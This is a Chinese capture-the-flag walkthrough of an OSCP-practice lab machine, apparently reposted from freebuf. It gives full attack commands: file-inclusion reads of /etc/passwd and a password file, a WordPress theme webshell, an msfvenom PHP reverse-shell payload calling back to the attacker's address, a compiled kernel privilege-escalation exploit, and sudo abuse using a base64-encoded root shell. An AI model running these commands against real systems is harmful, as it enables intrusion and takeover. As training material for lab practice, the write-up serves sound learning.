前言
This machine is designed for those one who is trying to prepare for OSCP or OSCP-Exam.
This is first level of prime series. Some help at every stage is given. Machine is lengthy as OSCP and Hackthebox’s machines are designed.
So you have a target to get root flag as well as user flag. If stuck on a point some help are given at a level of enumeration. If any extra help needed
Visit our website http://hacknpentest.comand http://hnpsecurity.com.
Some extra improvement needed to my VM please contact me on my email- suraj at hnpsecurity dot com.
本次靶机涉及到的知识点:
-
Web 信息收集
-
Fuzz 基础使用
-
文件包含利用
-
WordPress 主题文件 Getshell
-
Ubuntu 16.04 内核溢出提权
-
Sudo 提权
信息收集
首先使用 arp-scan 扫描资产:
arp-scan --interface=eth0 192.168.226.0/24
发现目标主机 192.168.226.132,使用 nmap 做进一步端口扫描:
nmap -sC -sV -p- -sT 192.168.226.132
发现目标机开了 22 和 80 这两个端口,先访问 80 口:
就这一张图片。
使用 dirsearch 扫描目录发现存在 wordpress 目录:
dirsearch -u http://192.168.226.132/ -e*
一看到 wordpress 就想到先用 wpscan 扫一波。
首先用 wpscan 枚举用户名:
wpscan --url http://192.168.226.132/wordpress/ --enumerate u
发现一个 victor 用户,接下来就是寻找 victor 用户的密码登录进去写 Webshell 了。
首先尝试爆破,先使用使用cewl
爬取整个网站上的关键字并生成一个字典:
cewl http://192.168.226.132/wordpress/ > wordlists.txt
然后使用 wpscan 并配合刚才生成的字典进行爆破:
wpscan --url http://192.168.226.132/wordpress/ -U victor -P wordlists.txt
爆破失败……
继续寻找突破口,又换了一个更加强劲的字典扫了波目录:
如上图,发现了一个 secret.txt,看来还是得需要一个强大的字典啊。访问 secret.txt 得到如下:
让我们查看 location.txt,但是这个 location.txt 并不在当前 Web 目录中,并且提示到了 Fuzz,我想应该是让我们 Fuzz 一下参数,找到文件包含漏洞从而读取目标机上某处的 location.txt。
我们使用 wfuzz 扫描:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.226.132/index.php?FUZZ=shit
隐藏掉所有响应报文字数为 12 的结果后得到了一个 file 参数:
直接文件包含利用:
/index.php?file=location.txt
如上图,成功读取到了 location.txt 的内容,并提示让我们在其他 PHP 文件上使用 secrettier360 参数,应该是 image.php 了,先 Fuzz 一下看看:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://192.168.226.132/image.php?secrettier360=FUZZ
发现该参数可以访问 dev,并且使用?secrettier360=dev
与 直接访问 dev 目录得到的内容是一样的:
所以说这里应该也是一处文件包含漏洞利用点,如下图成功利用并读取了 /etc/passwd:
并且在 saket 用户的信息中可以看到,其主目录里面有一个 password.txt,直接读取之:
/image.php?secrettier360=/home/saket/password.txt
开始攻击
先尝试使用该密码登录 saket 用户的 SSH 失败了,使用 victor 用户登录也失败了。之后又使用改密码登录 victor 用户的 wordpress 后台成功:
然后就是修改主题里面的 PHP 文件,写入 Webshell:
蚁剑连接成功:
发现 flag 不在根目录(老 CTFer 了……),应该在 /root 目录里面,那么接下来便是提权了。
权限提升
内核漏洞提权
查看目标机系统版本:
使用 searchsploit 搜索 Ubuntu 16.04 存在的漏洞:
发现一个本地权限提升漏洞,使用-m
参数将利用脚本复制到当前的工作目录:
searchsploit -m exploit/linux/local/45010.c
使用 gcc 编译成可执行文件:
gcc 45010.c -o exp
然后将生成的 exp 上传到目标主机的 /tmp 目录中,赋予可执行权限后运行失败了……应该是当时忘了反弹 Shell 了。然后使用 bash 反弹 shell 失败,用 netcat 反弹shell却发现 -e 参数被阉割了……
无奈的我只能选择用 metasploit 了,如下,生成一个 PHP 的马:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.226.128 lport=4444 -f raw -o shell.php
将生成的 Webshell 内容重新写入到上面的主题文件里,然后访问即可上线:
然后切换到 Shell 中,并使用 python 模拟一个终端,进入到 /tmp,重新执行 exp:
如上图所示,成功拿到了 root 权限,然后在 /root 目录里面发现并读取到了 flag:
Sudo 提权
我们在拿到目标机的 Shell 之后,发现当前用户可以执行 sudo,那我们可以考虑一下 sudo 提权。执行sudo -l
:
如上图所示,发现当前用户可以不需要输入密码即可以 root 权限执行 /home/saket/enc
但是要执行 /home/saket/enc 的话需要输入密码:
我们在 /opt 目录深处发现了一个备份的密码:
使用该密码可以成功执行 /home/saket/enc:
sudo /home/saket/enc
执行后在 saket 的主目录中生成了一个 key.txt 文件和一个 enc.txt,这个 enc.txt 是一个 AES 加密的玩意。查看 key.txt:
提示我们需要用字符串 “ippsec” 的 MD5 值作为秘钥去解密 enc.txt 这个玩意。我们从网上随便找一个 AES 解密的网站直接解密即可:
如上图所示,得到 saket 用户的真实密码为 “tribute_to_ippsec”。
切换到 saket 用户,再次尝试 sudo 提权:
如上图所示,发现 saket 可以不输入密码即以 root 权限执行 /home/victor/undefeated_victor。执行以下看看:
发现会报错,提示 /tmp/challenge 没有找到。按照常规思路应该是 /home/victor/undefeated_victor 会去执行 /tmp/challenge,那我们便可以将恶意的命令写入 /tmp/challenge 中,当以 root 权限执行 /home/victor/undefeated_victor 时,便会以 root 权限执行 /tmp/challenge 中的命令。
echo IyEvYmluL2Jhc2gKL2Jpbi9iYXNo|base64 -d > /tmp/challenge
chmod +x /tmp/challenge
这里直接将 “/bin/bash” 写入 /tmp/challenge 中,如下图所示,执行 /home/victor/undefeated_victor 后成功获得了一个 root 权限的 bash:
成功提权。
Ending……
来源:freebuf.com 2021-05-19 19:32:52 by: MrAnonymous
请登录后发表评论
注册